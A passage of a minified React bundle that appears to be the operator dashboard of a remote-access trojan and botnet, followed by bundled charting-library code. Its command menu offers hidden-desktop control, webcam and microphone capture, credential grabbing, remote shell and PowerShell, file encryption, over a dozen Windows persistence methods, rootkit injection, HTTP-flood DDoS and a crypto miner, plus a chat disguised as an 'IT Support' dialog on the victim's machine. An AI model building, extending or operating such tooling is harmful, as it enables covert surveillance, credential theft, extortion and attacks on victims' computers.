24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:s.jsxs("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:s.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:s.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},OA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),TA=new Set(["remove","exit","uninstall","shutdown"]),MA=new Set(["ban"]),Lf=[{label:"Monitoring",icon:Ht.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:Ht.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:Ht.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:Ht.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:Ht.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:Ht.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:Ht.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:Ht.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:Ht.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:Ht.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:Ht.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],LA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},IA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},DA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},RA=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:a="alive",agentName:o})=>{const l=p.useRef(null),c=p.useRef(null),u=p.useRef(null),[d,f]=p.useState(null),[m,h]=p.useState({x:e,y:t}),[x,g]=p.useState(""),[y,v]=p.useState(-1),[b,w]=p.useState(-1),[j,k]=p.useState(!1),S=p.useRef(null),N=a==="dead",z=x.trim()?Lf.map($=>({...$,commands:$.commands.filter(L=>L.label.toLowerCase().includes(x.toLowerCase())||L.key.toLowerCase().includes(x.toLowerCase()))})).filter($=>$.commands.length>0||$.label.toLowerCase().includes(x.toLowerCase())).map($=>({...$,commands:$.commands.length>0?$.commands:Lf.find(L=>L.label===$.label).commands})):Lf;p.useEffect(()=>{if(n&&l.current){const $=l.current.getBoundingClientRect(),L=window.innerWidth,F=window.innerHeight;let W=e,H=t;e+$.width>L&&(W=L-$.width-8),t+$.height>F&&(H=F-$.height-8),h({x:Math.max(4,W),y:Math.max(4,H)})}else h({x:e,y:t})},[e,t,n]),p.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),k(!1))},[n]),p.useEffect(()=>{n&&requestAnimationFrame(()=>{var $;($=c.current)==null||$.focus()})},[n]),p.useEffect(()=>{if(!n)return;const $=L=>{l.current&&!l.current.contains(L.target)&&i()};return document.addEventListener("mousedown",$),()=>{document.removeEventListener("mousedown",$)}},[n,i]),p.useEffect(()=>()=>{S.current&&clearTimeout(S.current)},[]);const O=p.useCallback(()=>{if(!u.current)return;const $=u.current;$.style.top="0px";const L=$.getBoundingClientRect(),F=window.innerHeight;if(L.bottom>F-8){const W=L.bottom-F+8;$.style.top=`${-W}px`}},[]);if(p.useEffect(()=>{d&&requestAnimationFrame(O)},[d,O]),p.useEffect(()=>{if(!n)return;const $=L=>{var W;const F=z;if(F.length!==0)switch(L.key){case"ArrowDown":{if(L.preventDefault(),j){const H=F.find(B=>B.label===d);H&&w(B=>B{const B=HB.label===d);H&&w(B=>B>0?B-1:H.commands.length-1)}else v(H=>{const B=H>0?H-1:F.length-1;return f(F[B].label),B});break}case"ArrowRight":case"Enter":{if(j&&L.key==="Enter"){L.preventDefault();const H=F.find(B=>B.label===d);H&&b>=0&&bdocument.removeEventListener("keydown",$)},[n,z,d,j,y,b,i]),!n)return null;const E=($,L)=>{S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{f($),v(L),k(!1),w(-1)},60)},T=()=>{S.current&&clearTimeout(S.current)},P=$=>{N&&$.nav.action!=="remove"&&$.nav.action!=="ban"||r($.key,$.nav)},U=m.x+200+220>window.innerWidth,K=$=>$===0?!1:z[$].group!==z[$-1].group;return s.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:m.x,top:m.y},onMouseLeave:()=>{f(null),v(-1),k(!1),w(-1)},children:s.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[s.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[s.jsxs("span",{className:"relative inline-flex",children:[a==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${LA[a]}`})]}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),s.jsx("span",{className:`font-mono text-[10px] ${DA[a]}`,children:IA[a]})]})]}),s.jsx("div",{className:"px-2 pt-2 pb-1",children:s.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[Ht.search,s.jsx("input",{ref:c,type:"text",value:x,onChange:$=>{g($.target.value),v(-1),f(null),k(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&s.jsx("button",{onClick:()=>{var $;g(""),($=c.current)==null||$.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),s.jsxs("div",{className:"py-1",children:[z.length===0&&s.jsx("div",{className:"px-3 py-4 text-center",children:s.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),z.map(($,L)=>s.jsxs(lh.Fragment,{children:[K(L)&&s.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),s.jsxs("div",{className:"relative",onMouseEnter:()=>E($.label,L),onMouseLeave:T,children:[s.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===$.label||y===L?N?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":N?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[s.jsx("span",{className:`${d===$.label||y===L?N?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:$.icon}),s.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:$.label}),s.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===$.label||y===L?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===$.label&&s.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${U?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[s.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:s.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:$.label})}),$.commands.map((F,W)=>{const H=N&&F.nav.action!=="remove"&&F.nav.action!=="ban",B=TA.has(F.key)||F.nav.action==="remove",q=MA.has(F.key)||F.nav.action==="ban",X=OA.has(F.key),se=j&&b===W;return s.jsxs("button",{onClick:()=>P(F),disabled:H,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${B?se?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":q?se?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":H?"cursor-not-allowed text-zerin-text-muted":se?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[s.jsx("span",{children:F.label}),X&&!H&&Ht.externalLink]},F.key)})]})]})]},$.label))]})]})})};function n5({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,a]=p.useState([]),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(!0),m=p.useRef(null),h=p.useRef(null),{lastMessage:x}=p.useContext(Gu),g=p.useCallback(async()=>{try{const v=Ze(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();a(w)}}catch{}finally{f(!1)}},[e]);p.useEffect(()=>{n&&(f(!0),g())},[n,g]),p.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),p.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),p.useEffect(()=>{var v;(v=m.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),p.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=Ze(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();a(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?s.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:s.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),s.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?s.jsx("div",{className:"flex h-full items-center justify-center",children:s.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?s.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[s.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),s.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>s.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:s.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[s.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[s.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),s.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:$A(v.timestamp)})]}),s.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),s.jsx("div",{ref:m})]}),s.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),s.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r + transition-colors hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),s.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function $A(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const BA=({open:e,onClose:t,title:n,children:r})=>{const i=p.useRef(null);return p.useEffect(()=>{if(!e)return;const a=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",a),()=>document.removeEventListener("keydown",a)},[e,t]),p.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?s.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[s.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),s.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),s.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:s.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function r5(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:a,className:o,style:l,title:c,desc:u}=e,d=KA(e,HA),f=a||{width:r,height:i,x:0,y:0},m=Ve("recharts-surface",o);return p.createElement("svg",dm({},At(d),{className:m,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),p.createElement("title",null,c),p.createElement("desc",null,u),n)}),YA=["children","className"];function fm(){return fm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=GA(e,YA),a=Ve("recharts-layer",r);return p.createElement("g",fm({className:a},At(i),{ref:t}),n)}),ZA=p.createContext(null);function _e(e){return function(){return e}}const o5=Math.cos,Oc=Math.sin,Ln=Math.sqrt,Tc=Math.PI,Xu=2*Tc,pm=Math.PI,mm=2*pm,bi=1e-6,QA=mm-bi;function l5(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return l5;const n=10**t;return function(r){this._+=r[0];for(let i=1,a=r.length;ibi)if(!(Math.abs(f*c-u*d)>bi)||!a)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(m),w=a*Math.tan((pm-Math.acos((g+m-y)/(2*v*b)))/2),j=w/b,k=w/v;Math.abs(j-1)>bi&&this._append`L${t+j*d},${n+j*f}`,this._append`A${a},${a},0,0,${+(f*h>d*x)},${this._x1=t+k*c},${this._y1=n+k*u}`}}arc(t,n,r,i,a,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,m=o?i-a:a-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>bi||Math.abs(this._y1-d)>bi)&&this._append`L${u},${d}`,r&&(m<0&&(m=m%mm+mm),m>QA?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:m>bi&&this._append`A${r},${r},0,${+(m>=pm)},${f},${this._x1=t+r*Math.cos(a)},${this._y1=n+r*Math.sin(a)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function lx(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new e_(t)}function cx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function c5(e){this._context=e}c5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function Zu(e){return new c5(e)}function u5(e){return e[0]}function d5(e){return e[1]}function f5(e,t){var n=_e(!0),r=null,i=Zu,a=null,o=lx(l);e=typeof e=="function"?e:e===void 0?u5:_e(e),t=typeof t=="function"?t:t===void 0?d5:_e(t);function l(c){var u,d=(c=cx(c)).length,f,m=!1,h;for(r==null&&(a=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[m]=+e(y,m,f),j[m]=+t(y,m,f),l.point(r?+r(y,m,f):w[m],n?+n(y,m,f):j[m]))}if(b)return l=null,b+""||null}function d(){return f5().defined(i).curve(o).context(a)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:_e(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:_e(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:_e(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:_e(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:_e(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:_e(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:_e(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,a!=null&&(l=o(a)),u):o},u.context=function(f){return arguments.length?(f==null?a=l=null:l=o(a=f),u):a},u}class p5{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function t_(e){return new p5(e,!0)}function n_(e){return new p5(e,!1)}const ux={draw(e,t){const n=Ln(t/Tc);e.moveTo(n,0),e.arc(0,0,n,0,Xu)}},r_={draw(e,t){const 